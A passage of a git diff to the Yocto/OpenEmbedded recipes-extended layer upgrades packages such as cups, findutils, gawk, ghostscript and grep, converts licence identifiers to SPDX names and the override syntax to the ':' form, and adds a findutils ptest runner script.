b/meta/recipes-extended/cups/cups/libexecdir.patch new file mode 100644 index 0000000000..7ccad94f0f --- /dev/null +++ b/meta/recipes-extended/cups/cups/libexecdir.patch @@ -0,0 +1,35 @@ +From 1724f7bcdbcfdb445778f8a2e530c5c094c18c10 Mon Sep 17 00:00:00 2001 +From: Ross Burton <ross.burton@arm.com> +Date: Tue, 13 Jul 2021 12:56:30 +0100 +Subject: [PATCH] Use $libexecdir instead of hardcoding $prefix/lib as this + breaks multilib builds. + +Upstream-Status: Pending +Signed-off-by: Ross Burton <ross.burton@arm.com> + +--- + config-scripts/cups-directories.m4 | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/config-scripts/cups-directories.m4 b/config-scripts/cups-directories.m4 +index 2033d47..230166e 100644 +--- a/config-scripts/cups-directories.m4 ++++ b/config-scripts/cups-directories.m4 +@@ -239,7 +239,7 @@ AC_SUBST([CUPS_REQUESTS]) + AS_CASE(["$host_os_name"], [*-gnu], [ + # GNUs + INSTALL_SYSV="install-sysv" +- CUPS_SERVERBIN="$exec_prefix/lib/cups" ++ CUPS_SERVERBIN="$libexecdir/cups" + ], [*bsd* | darwin*], [ + # *BSD and Darwin (macOS) + INSTALL_SYSV="" +@@ -247,7 +247,7 @@ AS_CASE(["$host_os_name"], [*-gnu], [ + ], [*], [ + # All others + INSTALL_SYSV="install-sysv" +- CUPS_SERVERBIN="$exec_prefix/lib/cups" ++ CUPS_SERVERBIN="$libexecdir/cups" + ]) + + AC_DEFINE_UNQUOTED([CUPS_SERVERBIN], ["$CUPS_SERVERBIN"], [Location of server programs.]) diff --git a/meta/recipes-extended/cups/cups_2.3.3.bb b/meta/recipes-extended/cups/cups_2.3.3.bb deleted file mode 100644 index 5caeb6f58b..0000000000 --- a/meta/recipes-extended/cups/cups_2.3.3.bb +++ /dev/null @@ -1,6 +0,0 @@ -require cups.inc - -LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57" - -SRC_URI[md5sum] = "412434ceefbdf3ec71bc9188a035f589" -SRC_URI[sha256sum] = "261fd948bce8647b6d5cb2a1784f0c24cc52b5c4e827b71d726020bcc502f3ee" diff --git a/meta/recipes-extended/cups/cups_2.4.1.bb b/meta/recipes-extended/cups/cups_2.4.1.bb new file mode 100644 index 0000000000..27c88f82c7 --- /dev/null +++ b/meta/recipes-extended/cups/cups_2.4.1.bb @@ -0,0 +1,5 @@ +require cups.inc + +LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57" + +SRC_URI[sha256sum] = "c7339f75f8d4f2dec50c673341a45fc06b6885bb6d4366d6bf59a4e6c10ae178" diff --git a/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb b/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb index 65a99fc28d..0e155b6c95 100644 --- a/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb +++ b/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb @@ -1,7 +1,8 @@ SUMMARY = "Collection of autoconf m4 macros" SECTION = "base" HOMEPAGE = "http://sourceforge.net/projects/cwautomacros.berlios/" -LICENSE = "GPLv2" +DESCRIPTION = "A collection of autoconf macros, plus an autogen.sh script that can be used with them." +LICENSE = "GPL-2.0-only" LIC_FILES_CHKSUM = "file://LICENSE;md5=eb723b61539feef013de476e68b5c50a" SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}.berlios/${BP}.tar.bz2" @@ -13,7 +14,7 @@ do_configure() { } do_install() { - oe_runmake CWAUTOMACROSPREFIX=${D}${prefix} install + oe_runmake LABEL=`date -d @${SOURCE_DATE_EPOCH} +%Y%m%d` CWAUTOMACROSPREFIX=${D}${prefix} install # cleanup buildpaths in autogen.sh sed -i -e 's,${D},,g' ${D}${prefix}/share/cwautomacros/scripts/autogen.sh diff --git a/meta/recipes-extended/diffutils/diffutils.inc b/meta/recipes-extended/diffutils/diffutils.inc index c9e3130587..194d6e5a1b 100644 --- a/meta/recipes-extended/diffutils/diffutils.inc +++ b/meta/recipes-extended/diffutils/diffutils.inc @@ -7,7 +7,7 @@ SECTION = "base" inherit autotools texinfo update-alternatives gettext -ALTERNATIVE_${PN} = "diff cmp" +ALTERNATIVE:${PN} = "diff cmp" ALTERNATIVE_PRIORITY = "100" BBCLASSEXTEND = "native nativesdk" diff --git a/meta/recipes-extended/diffutils/diffutils_3.7.bb b/meta/recipes-extended/diffutils/diffutils_3.8.bb index 8111ae6065..8c3b9b0e5a 100644 --- a/meta/recipes-extended/diffutils/diffutils_3.7.bb +++ b/meta/recipes-extended/diffutils/diffutils_3.8.bb @@ -1,4 +1,4 @@ -LICENSE = "GPLv3+" +LICENSE = "GPL-3.0-or-later" LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504" require diffutils.inc @@ -6,19 +6,22 @@ require diffutils.inc SRC_URI = "${GNU_MIRROR}/diffutils/diffutils-${PV}.tar.xz \ file://run-ptest \ file://0001-Skip-strip-trailing-cr-test-case.patch \ -" + " -SRC_URI[md5sum] = "4824adc0e95dbbf11dfbdfaad6a1e461" -SRC_URI[sha256sum] = "b3a7a6221c3dc916085f0d205abf6b8e1ba443d4dd965118da364a1dc1cb3a26" +SRC_URI[sha256sum] = "a6bdd7d1b31266d11c4f4de6c1b748d4607ab0231af5188fc2533d0ae2438fec" EXTRA_OECONF += "ac_cv_path_PR_PROGRAM=${bindir}/pr --without-libsigsegv-prefix" +# latest gnulib is no longer able to handle this - I dare not try to fix that maze of abstractions and generators +CFLAGS:mingw32 = " -DSA_RESTART=0" + # Fix "Argument list too long" error when len(TMPDIR) = 410 acpaths = "-I ./m4" +EXTRA_OEMAKE:append:mingw32 = " LIBS='-lbcrypt'" inherit ptest -RDEPENDS_${PN}-ptest += "make perl" +RDEPENDS:${PN}-ptest += "make perl" do_install_ptest() { t=${D}${PTEST_PATH} diff --git a/meta/recipes-extended/ed/ed_1.16.bb b/meta/recipes-extended/ed/ed_1.18.bb index f383007b59..e1548df15f 100644 --- a/meta/recipes-extended/ed/ed_1.16.bb +++ b/meta/recipes-extended/ed/ed_1.18.bb @@ -1,10 +1,11 @@ SUMMARY = "Line-oriented text editor" HOMEPAGE = "http://www.gnu.org/software/ed/" +DESCRIPTION = "GNU ed is a line-oriented text editor. It is used to create, display, modify and otherwise manipulate text files, both interactively and via shell scripts. A restricted version of ed, red, can only edit files in the current directory and cannot execute shell commands." -LICENSE = "GPLv3+" -LIC_FILES_CHKSUM = "file://COPYING;md5=0c7051aef9219dc7237f206c5c4179a7 \ - file://ed.h;endline=20;md5=0226a8dd88c76afba773f2f0f7c83f5e \ - file://main.c;endline=17;md5=ebd4aff86dc9fa5027d55bc5191746b9 \ +LICENSE = "GPL-2.0-only" +LIC_FILES_CHKSUM = "file://COPYING;md5=76d6e300ffd8fb9d18bd9b136a9bba13 \ + file://ed.h;endline=20;md5=6e6a818b0593f937fc63ba08d5e314bf \ + file://main.c;endline=17;md5=8419a08bb12936f32384a0d1c0f9e74c \ " SECTION = "base" @@ -18,8 +19,7 @@ bindir = "${base_bindir}" SRC_URI = "${GNU_MIRROR}/ed/${BP}.tar.lz" UPSTREAM_CHECK_URI = "${GNU_MIRROR}/ed/" -SRC_URI[md5sum] = "ab480d982289064ca040bc5c75fceffd" -SRC_URI[sha256sum] = "cfc07a14ab048a758473ce222e784fbf031485bcd54a76f74acfee1f390d8b2c" +SRC_URI[sha256sum] = "aca8efad9800c587724a20b97aa8fc47e6b5a47df81606feaba831b074462b4f" EXTRA_OEMAKE = "-e MAKEFLAGS=" diff --git a/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch b/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch index 8ecfde1417..034dc92444 100644 --- a/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch +++ b/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch @@ -1,4 +1,4 @@ -From 1c6c017e56ec536f5cceacdb02092777d390debb Mon Sep 17 00:00:00 2001 +From d98b1e29b89962954690e6a8ddfdd80276407ce7 Mon Sep 17 00:00:00 2001 From: Tudor Florea <tudor.florea@enea.com> Date: Wed, 28 May 2014 18:59:54 +0200 Subject: [PATCH] ethtool: use serial-tests config needed by ptest. @@ -15,11 +15,11 @@ Upstream-Status: Inappropriate 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/configure.ac b/configure.ac -index 1169b7f..ed82524 100644 +index 8fc93c8..94ee28d 100644 --- a/configure.ac +++ b/configure.ac @@ -2,7 +2,7 @@ dnl Process this file with autoconf to produce a configure script. - AC_INIT(ethtool, 5.7, netdev@vger.kernel.org) + AC_INIT(ethtool, 5.16, netdev@vger.kernel.org) AC_PREREQ(2.52) AC_CONFIG_SRCDIR([ethtool.c]) -AM_INIT_AUTOMAKE([gnu subdir-objects]) diff --git a/meta/recipes-extended/ethtool/ethtool_5.7.bb b/meta/recipes-extended/ethtool/ethtool_5.16.bb index d9fc30cb55..5dca03d082 100644 --- a/meta/recipes-extended/ethtool/ethtool_5.7.bb +++ b/meta/recipes-extended/ethtool/ethtool_5.16.bb @@ -2,7 +2,7 @@ SUMMARY = "Display or change ethernet card settings" DESCRIPTION = "A small utility for examining and tuning the settings of your ethernet-based network interfaces." HOMEPAGE = "http://www.kernel.org/pub/software/network/ethtool/" SECTION = "console/network" -LICENSE = "GPLv2+" +LICENSE = "GPL-2.0-or-later" LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \ file://ethtool.c;beginline=4;endline=17;md5=c19b30548c582577fc6b443626fc1216" @@ -11,13 +11,13 @@ SRC_URI = "${KERNELORG_MIRROR}/software/network/ethtool/ethtool-${PV}.tar.gz \ file://avoid_parallel_tests.patch \ " -SRC_URI[sha256sum] = "c2e16f8bf510c5822f8e25061c2533972308a421767c54abcacb1038b08bb782" +SRC_URI[sha256sum] = "4160fa127d75d5a6ebd5e871118486ac730dea2f28b2f1ad40fd1ed3d0d369e0" UPSTREAM_CHECK_URI = "https://www.kernel.org/pub/software/network/ethtool/" inherit autotools ptest bash-completion pkgconfig -RDEPENDS_${PN}-ptest += "make" +RDEPENDS:${PN}-ptest += "make" PACKAGECONFIG ?= "netlink" PACKAGECONFIG[netlink] = "--enable-netlink,--disable-netlink,libmnl," @@ -29,7 +29,9 @@ do_compile_ptest() { do_install_ptest () { cp ${B}/Makefile ${D}${PTEST_PATH} install ${B}/test-cmdline ${D}${PTEST_PATH} - install ${B}/test-features ${D}${PTEST_PATH} + if ${@bb.utils.contains('PACKAGECONFIG', 'netlink', 'false', 'true', d)}; then + install ${B}/test-features ${D}${PTEST_PATH} + fi install ${B}/ethtool ${D}${PTEST_PATH}/ethtool sed -i 's/^Makefile/_Makefile/' ${D}${PTEST_PATH}/Makefile } diff --git a/meta/recipes-extended/findutils/findutils.inc b/meta/recipes-extended/findutils/findutils.inc index 9aa7239825..ddcc05750b 100644 --- a/meta/recipes-extended/findutils/findutils.inc +++ b/meta/recipes-extended/findutils/findutils.inc @@ -6,11 +6,13 @@ HOMEPAGE = "http://www.gnu.org/software/findutils/" BUGTRACKER = "http://savannah.gnu.org/bugs/?group=findutils" SECTION = "console/utils" -SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.xz" +SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.xz \ + file://run-ptest \ + " -inherit autotools gettext texinfo update-alternatives +inherit autotools gettext texinfo update-alternatives ptest -ALTERNATIVE_${PN} = "find xargs" +ALTERNATIVE:${PN} = "find xargs" ALTERNATIVE_PRIORITY = "100" BBCLASSEXTEND = "native nativesdk" diff --git a/meta/recipes-extended/findutils/findutils/run-ptest b/meta/recipes-extended/findutils/findutils/run-ptest new file mode 100644 index 0000000000..ec71583c51 --- /dev/null +++ b/meta/recipes-extended/findutils/findutils/run-ptest @@ -0,0 +1,57 @@ +#!/bin/bash + +# create temporary symlink to workaround missing oldfind +ln -s /usr/bin/find /tmp/oldfind +# make oldfind visible +export PATH="/tmp:${PATH}" + +export built_programs="find xargs locate updatedb" + +# this gets substituted by sed during build +export VERSION="__run_ptest_version__" + +# define missing functions for tests/init.sh +fu_path_prepend_ () { + path_prepend_ $@ +} + +print_ver_ () { + : +} + +skip_if_root_ () { + [ $(id -u) = 0 ] && exit 77; +} + +require_root_ () { + [ $(id -u) = 0 ] || exit 77; +} + +expensive_ () { + : +} + +export -f fu_path_prepend_ +export -f print_ver_ +export -f skip_if_root_ +export -f require_root_ +export -f expensive_ + + +for f in tests/*/*.sh; do + bash $f ; + case $? in + 0 ) + echo -n "PASS";; + 77 ) + echo -n "SKIP";; + * ) + echo -n "FAIL";; + esac + echo ": $f" +done + +#remove symlink +rm -f /tmp/oldfind + +echo diff --git a/meta/recipes-extended/findutils/findutils_4.7.0.bb b/meta/recipes-extended/findutils/findutils_4.7.0.bb deleted file mode 100644 index 59688e528a..0000000000 --- a/meta/recipes-extended/findutils/findutils_4.7.0.bb +++ /dev/null @@ -1,15 +0,0 @@ -require findutils.inc - -# GPLv2+ (<< 4.2.32), GPLv3+ (>= 4.2.32) -LICENSE = "GPLv3+" -LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464" - -DEPENDS = "bison-native" - -SRC_URI[md5sum] = "731356dec4b1109b812fecfddfead6b2" -SRC_URI[sha256sum] = "c5fefbdf9858f7e4feb86f036e1247a54c79fc2d8e4b7064d5aaa1f47dfa789a" - -# http://savannah.gnu.org/bugs/?27299 -CACHED_CONFIGUREVARS += "gl_cv_func_wcwidth_works=yes" - -EXTRA_OECONF += "ac_cv_path_SORT=${bindir}/sort" diff --git a/meta/recipes-extended/findutils/findutils_4.9.0.bb b/meta/recipes-extended/findutils/findutils_4.9.0.bb new file mode 100644 index 0000000000..e4ce8ee4eb --- /dev/null +++ b/meta/recipes-extended/findutils/findutils_4.9.0.bb @@ -0,0 +1,26 @@ +require findutils.inc + +# GPL-2.0-or-later (<< 4.2.32), GPL-3.0-or-later (>= 4.2.32) +LICENSE = "GPL-3.0-or-later" +LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464" + +DEPENDS = "bison-native" + +SRC_URI[sha256sum] = "a2bfb8c09d436770edc59f50fa483e785b161a3b7b9d547573cb08065fd462fe" + +PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux" +# http://savannah.gnu.org/bugs/?27299 +CACHED_CONFIGUREVARS += "gl_cv_func_wcwidth_works=yes" + +EXTRA_OECONF += "ac_cv_path_SORT=${bindir}/sort" + +RDEPENDS:${PN}-ptest += "bash sed grep" + +do_install_ptest:class-target() { + mkdir -p ${D}${PTEST_PATH}/tests/ + cp -r ${S}/tests/* ${D}${PTEST_PATH}/tests/ + + # substitute value in run-ptest with actual version + sed -i -e 's/__run_ptest_version__/${PV}/' ${D}${PTEST_PATH}/run-ptest + +} diff --git a/meta/recipes-extended/gawk/gawk/remove-sensitive-tests.patch b/meta/recipes-extended/gawk/gawk/remove-sensitive-tests.patch new file mode 100644 index 0000000000..167c0787ee --- /dev/null +++ b/meta/recipes-extended/gawk/gawk/remove-sensitive-tests.patch @@ -0,0 +1,24 @@ +These tests require an unloaded host as otherwise timing sensitive tests can fail +https://bugzilla.yoctoproject.org/show_bug.cgi?id=14371 + +Upstream-Status: Inappropriate +Signed-off-by: Ross Burton <ross.burton@arm.com> + +--- a/test/Maketests~ ++++ b/test/Maketests +@@ -2069,7 +2069,2 @@ + +-timeout: +- @echo $@ $(ZOS_FAIL) +- @AWKPATH="$(srcdir)" $(AWK) -f $@.awk >_$@ 2>&1 || echo EXIT CODE: $$? >>_$@ +- @-$(CMP) "$(srcdir)"/$@.ok _$@ && rm -f _$@ +- + typedregex1: +@@ -2297,7 +2292,2 @@ + @-$(CMP) "$(srcdir)"/$@.ok _$@ && rm -f _$@ +- +-time: +- @echo $@ +- @AWKPATH="$(srcdir)" $(AWK) -f $@.awk >_$@ 2>&1 || echo EXIT CODE: $$? >>_$@ +- @-$(CMP) "$(srcdir)"/$@.ok _$@ && rm -f _$@ + diff --git a/meta/recipes-extended/gawk/gawk_5.1.0.bb b/meta/recipes-extended/gawk/gawk_5.1.1.bb index 0d005cd43b..fe339805d0 100644 --- a/meta/recipes-extended/gawk/gawk_5.1.0.bb +++ b/meta/recipes-extended/gawk/gawk_5.1.1.bb @@ -6,9 +6,9 @@ HOMEPAGE = "https://www.gnu.org/software/gawk/" BUGTRACKER = "bug-gawk@gnu.org" SECTION = "console/utils" -# gawk <= 3.1.5: GPLv2 -# gawk >= 3.1.6: GPLv3 -LICENSE = "GPLv3" +# gawk <= 3.1.5: GPL-2.0-only +# gawk >= 3.1.6: GPL-3.0-only +LICENSE = "GPL-3.0-only" LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504" PACKAGECONFIG ??= "readline" @@ -16,22 +16,22 @@ PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline" PACKAGECONFIG[mpfr] = "--with-mpfr,--without-mpfr, mpfr" SRC_URI = "${GNU_MIRROR}/gawk/gawk-${PV}.tar.gz \ + file://remove-sensitive-tests.patch \ file://run-ptest \ -" + " -SRC_URI[md5sum] = "f719bc9966df28e67fc6ebc405e7ea03" -SRC_URI[sha256sum] = "03a0360edcd84bec156fe211bbc4fc8c78790973ce4e8b990a11d778d40b1a26" +SRC_URI[sha256sum] = "6168d8d1dc8f74bd17d9dc22fa9634c49070f232343b744901da15fb4f06bffd" inherit autotools gettext texinfo update-alternatives -FILES_${PN} += "${datadir}/awk" -FILES_${PN}-dev += "${libdir}/${BPN}/*.la" +FILES:${PN} += "${datadir}/awk" +FILES:${PN}-dev += "${libdir}/${BPN}/*.la" -ALTERNATIVE_${PN} = "awk" +ALTERNATIVE:${PN} = "awk" ALTERNATIVE_TARGET[awk] = "${bindir}/gawk" ALTERNATIVE_PRIORITY = "100" -do_install_append() { +do_install:append() { # remove the link since we don't package it rm ${D}${bindir}/awk } @@ -41,15 +41,24 @@ inherit ptest do_install_ptest() { mkdir ${D}${PTEST_PATH}/test ln -s ${bindir}/gawk ${D}${PTEST_PATH}/gawk - for i in `grep -vE "@|^$|#|Gt-dummy" ${S}/test/Maketests |awk -F: '{print $1}'` Maketests inclib.awk; \ - do cp ${S}/test/$i* ${D}${PTEST_PATH}/test; \ + # The list of tests is all targets in Maketests, apart from the dummy Gt-dummy + TESTS=$(awk -F: '$1 == "Gt-dummy" { next } /[[:alnum:]]+:$/ { print $1 }' ${S}/test/Maketests) + for i in $TESTS Maketests inclib.awk; do + cp ${S}/test/$i* ${D}${PTEST_PATH}/test done sed -i -e 's|/usr/local/bin|${bindir}|g' \ -e 's|#!${base_bindir}/awk|#!${bindir}/awk|g' ${D}${PTEST_PATH}/test/*.awk - sed -i -e "s|GAWKLOCALE|LANG|g" ${D}${PTEST_PATH}/test/Maketests + sed -i -e "s|GAWKLOCALE|LANG|g" ${D}${PTEST_PATH}/test/Maketests + + # These tests require an unloaded host as otherwise timing sensitive tests can fail + # https://bugzilla.yoctoproject.org/show_bug.cgi?id=14371 + rm -f ${D}${PTEST_PATH}/test/time.* + rm -f ${D}${PTEST_PATH}/test/timeout.* } -RDEPENDS_${PN}-ptest += "make" +RDEPENDS:${PN}-ptest += "make" + +RDEPENDS:${PN}-ptest:append:libc-glibc = " locale-base-en-us.iso-8859-1" BBCLASSEXTEND = "native nativesdk" diff --git a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch b/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch index ffa269e3b2..5b57da2a97 100644 --- a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch +++ b/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch @@ -1,7 +1,7 @@ -From 84bb692d6b047c09266de154f404af9817fa04aa Mon Sep 17 00:00:00 2001 +From 04a86a613e0f9bfbbad99874f72217f75e8c53a3 Mon Sep 17 00:00:00 2001 From: Robert Yang <liezhi.yang@windriver.com> Date: Thu, 29 Mar 2018 15:59:05 +0800 -Subject: [PATCH 01/10] contrib.mak: fix for parallel build +Subject: [PATCH] contrib.mak: fix for parallel build Upstream-Status: Pending @@ -9,23 +9,16 @@ Signed-off-by: Robert Yang <liezhi.yang@windriver.com> Rebase to 9.23 Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com> + --- - contrib/contrib.mak | 2 ++ - 1 file changed, 2 insertions(+) + contrib/contrib.mak | 1 + + 1 file changed, 1 insertion(+) diff --git a/contrib/contrib.mak b/contrib/contrib.mak -index f5a2fa4..4999752 100644 +index 2edee7a..c9100e8 100644 --- a/contrib/contrib.mak +++ b/contrib/contrib.mak -@@ -1067,6 +1067,7 @@ $(DEVOBJ)dviprlib.$(OBJ) : $(JAPSRC)dviprlib.c $(JAPSRC)dviprlib.h \ - $(DEVCC) $(O_)$@ $(C_) $(JAPSRC)dviprlib.c - - extra-dmprt-install: install-libdata -+ mkdir -p $(DESTDIR)$(gsdatadir)$(D)lib - $(INSTALL_DATA) $(JAPSRC)dmp_init.ps $(DESTDIR)$(gsdatadir)$(D)lib || exit 1 - $(INSTALL_DATA) $(JAPSRC)dmp_site.ps $(DESTDIR)$(gsdatadir)$(D)lib || exit 1 - $(INSTALL_DATA) $(JAPSRC)escp_24.src $(DESTDIR)$(gsdatadir)$(D)lib || exit 1 -@@ -1235,6 +1236,7 @@ $(DEVOBJ)gdevalps.$(OBJ) : $(JAPSRC)gdevalps.c $(PDEVH) \ +@@ -1241,6 +1241,7 @@ $(DEVOBJ)gdevalps.$(OBJ) : $(JAPSRC)gdevalps.c $(PDEVH) \ ### ----------------- Additional .upp files ---------------- ### extra-upp-install: install-libdata @@ -33,6 +26,3 @@ index f5a2fa4..4999752 100644 for f in $(CONTRIBSRC)uniprint$(D)*.upp; do \ $(INSTALL_DATA) $$f $(DESTDIR)$(gsdatadir)$(D)lib || exit 1; \ done --- -1.8.3.1 - diff --git a/meta/recipes-extended/ghostscript/ghostscript_9.52.bb b/meta/recipes-extended/ghostscript/ghostscript_9.55.0.bb index 4cdb6e00d8..c28e62f089 100644 --- a/meta/recipes-extended/ghostscript/ghostscript_9.52.bb +++ b/meta/recipes-extended/ghostscript/ghostscript_9.55.0.bb @@ -10,15 +10,19 @@ dot-matrix, inkjet and laser models. \ HOMEPAGE = "http://www.ghostscript.com" SECTION = "console/utils" -LICENSE = "GPLv3" -LIC_FILES_CHKSUM = "file://LICENSE;md5=70dc2bac4d0ce4448da873cd86b123fc" +LICENSE = "GPL-3.0-only" +LIC_FILES_CHKSUM = "file://LICENSE;md5=f98ffa763e50cded76f49bce73aade16" DEPENDS = "ghostscript-native tiff jpeg fontconfig cups libpng" -DEPENDS_class-native = "libpng-native" +DEPENDS:class-native = "libpng-native" UPSTREAM_CHECK_URI = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases" UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar" +# As of ghostscript 9.54.0 the jpeg issue in the CVE is present in the gs jpeg sources +# however we use an external jpeg which doesn't have the issue. +CVE_CHECK_IGNORE += "CVE-2013-6629" + def gs_verdir(v): return "".join(v.split(".")) @@ -36,40 +40,39 @@ SRC_URI = "${SRC_URI_BASE} \ file://cups-no-gcrypt.patch \ " -SRC_URI_class-native = "${SRC_URI_BASE} \ +SRC_URI:class-native = "${SRC_URI_BASE} \ file://ghostscript-9.21-native-fix-disable-system-libtiff.patch \ file://base-genht.c-add-a-preprocessor-define-to-allow-fope.patch \ " -SRC_URI[md5sum] = "0f6964ab9b83a63b7e373f136243f901" -SRC_URI[sha256sum] = "c2501d8e8e0814c4a5aa7e443e230e73d7af7f70287546f7b697e5ef49e32176" +SRC_URI[sha256sum] = "31e2064be67e15b478a8da007d96d6cd4d2bee253e5be220703a225f7f79a70b" # Put something like # -# PACKAGECONFIG_append_pn-ghostscript = " x11" +# PACKAGECONFIG:append:pn-ghostscript = " x11" # # in local.conf to enable building with X11. Be careful. The order # of the overrides matters! # #PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11', '', d)}" -PACKAGECONFIG_class-native = "" +PACKAGECONFIG:class-native = "" PACKAGECONFIG[x11] = "--with-x --x-includes=${STAGING_INCDIR} --x-libraries=${STAGING_LIBDIR}, \ --without-x, virtual/libx11 libxext libxt gtk+3\ " -EXTRA_OECONF = "--without-libpaper --with-system-libtiff --without-jbig2dec \ +EXTRA_OECONF = "--without-libpaper --with-system-libtiff --with-jbig2dec \ --with-fontpath=${datadir}/fonts \ --without-libidn --with-cups-serverbin=${exec_prefix}/lib/cups \ --with-cups-datadir=${datadir}/cups \ CUPSCONFIG="${STAGING_BINDIR_CROSS}/cups-config" \ " -EXTRA_OECONF_append_mipsarcho32 = " --with-large_color_index=0" +EXTRA_OECONF:append:mipsarcho32 = " --with-large_color_index=0" # Explicity disable libtiff, fontconfig, # freetype, cups for ghostscript-native -EXTRA_OECONF_class-native = "--without-x --with-system-libtiff=no \ +EXTRA_OECONF:class-native = "--without-x --with-system-libtiff=no \ --without-jbig2dec --without-libpaper \ --with-fontpath=${datadir}/fonts \ --without-libidn --disable-fontconfig \ @@ -83,7 +86,11 @@ BUILD_CFLAGS += "-DHAVE_SYS_TIME_H=1" inherit autotools-brokensep -do_configure_append () { +do_configure:prepend:class-target () { + rm -rf ${S}/jpeg/ +} + +do_configure:append () { # copy tools from the native ghostscript build if [ "${PN}" != "ghostscript-native" ]; then mkdir -p obj/aux soobj @@ -93,20 +100,20 @@ do_configure_append () { fi } -do_install_append () { +do_install:append () { mkdir -p ${D}${datadir}/ghostscript/${PV}/ cp -r ${S}/Resource ${D}${datadir}/ghostscript/${PV}/ cp -r ${S}/iccprofiles ${D}${datadir}/ghostscript/${PV}/ } -do_compile_class-native () { +do_compile:class-native () { mkdir -p obj for i in genarch genconf mkromfs echogs gendev genht packps; do oe_runmake obj/aux/$i done } -do_install_class-native () { +do_install:class-native () { install -d ${D}${bindir}/ghostscript-${PV} for i in genarch genconf mkromfs echogs gendev genht packps; do install -m 755 obj/aux/$i ${D}${bindir}/ghostscript-${PV}/$i diff --git a/meta/recipes-extended/go-examples/go-helloworld_0.1.bb b/meta/recipes-extended/go-examples/go-helloworld_0.1.bb index ab70ea98a3..b3a8631794 100644 --- a/meta/recipes-extended/go-examples/go-helloworld_0.1.bb +++ b/meta/recipes-extended/go-examples/go-helloworld_0.1.bb @@ -5,16 +5,18 @@ HOMEPAGE = "https://golang.org/" LICENSE = "MIT" LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302" -SRC_URI = "git://${GO_IMPORT}" -SRCREV = "46695d81d1fae905a270fb7db8a4d11a334562fe" +SRC_URI = "git://go.googlesource.com/example;branch=master;protocol=https" +SRCREV = "787a929d5a0dfb8bbfcdd2c4a62e0fd89466113f" UPSTREAM_CHECK_COMMITS = "1" -GO_IMPORT = "github.com/golang/example" +GO_IMPORT = "golang.org/x/example" GO_INSTALL = "${GO_IMPORT}/hello" +GO_WORKDIR = "${GO_INSTALL}" +export GO111MODULE="off" inherit go # This is just to make clear where this example is -do_install_append() { +do_install:append() { mv ${D}${bindir}/hello ${D}${bindir}/${BPN} } diff --git a/meta/recipes-extended/gperf/gperf_3.1.bb b/meta/recipes-extended/gperf/gperf_3.1.bb index f61b2a329a..82750fca05 100644 --- a/meta/recipes-extended/gperf/gperf_3.1.bb +++ b/meta/recipes-extended/gperf/gperf_3.1.bb @@ -1,7 +1,7 @@ DESCRIPTION = "GNU gperf is a perfect hash function generator" HOMEPAGE = "http://www.gnu.org/software/gperf" SUMMARY = "Generate a perfect hash function from a set of keywords" -LICENSE = "GPLv3+" +LICENSE = "GPL-3.0-or-later" LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \ file://src/main.cc;beginline=8;endline=19;md5=dec8f611845d047387ed56b5b85fa99b" diff --git a/meta/recipes-extended/grep/grep_3.4.bb b/meta/recipes-extended/grep/grep_3.7.bb index e176dd727b..40390c25d9 100644 --- a/meta/recipes-extended/grep/grep_3.4.bb +++ b/meta/recipes-extended/grep/grep_3.7.bb @@ -1,21 +1,21 @@ SUMMARY = "GNU grep utility" HOMEPAGE = "http://savannah.gnu.org/projects/grep/" +DESCRIPTION = "Grep searches one or more input files for lines containing a match to a specified pattern. By default, grep prints the matching lines." BUGTRACKER = "http://savannah.gnu.org/bugs/?group=grep" SECTION = "console/utils" -LICENSE = "GPLv3" +LICENSE = "GPL-3.0-only" LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464" SRC_URI = "${GNU_MIRROR}/grep/grep-${PV}.tar.xz" -SRC_URI[md5sum] = "111b117d22d6a7d049d6ae7505e9c4d2" -SRC_URI[sha256sum] = "58e6751c41a7c25bfc6e9363a41786cff3ba5709cf11d5ad903cf7cce31cc3fb" +SRC_URI[sha256sum] = "5c10da312460aec721984d5d83246d24520ec438dd48d7ab5a05dbc0d6d6823c" inherit autotools gettext texinfo pkgconfig # Fix "Argument list too long" error when len(TMPDIR) = 410 acpaths = "-I ./m4" -do_configure_prepend () { +do_configure:prepend () { sed -i -e '1s,#!@SHELL@,#!/bin/sh,' ${S}/src/egrep.sh rm -f ${S}/m4/init.m4 } @@ -38,7 +38,9 @@ PACKAGECONFIG[pcre] = "--enable-perl-regexp,--disable-perl-regexp,libpcre" ALTERNATIVE_PRIORITY = "100" -ALTERNATIVE_${PN} = "grep 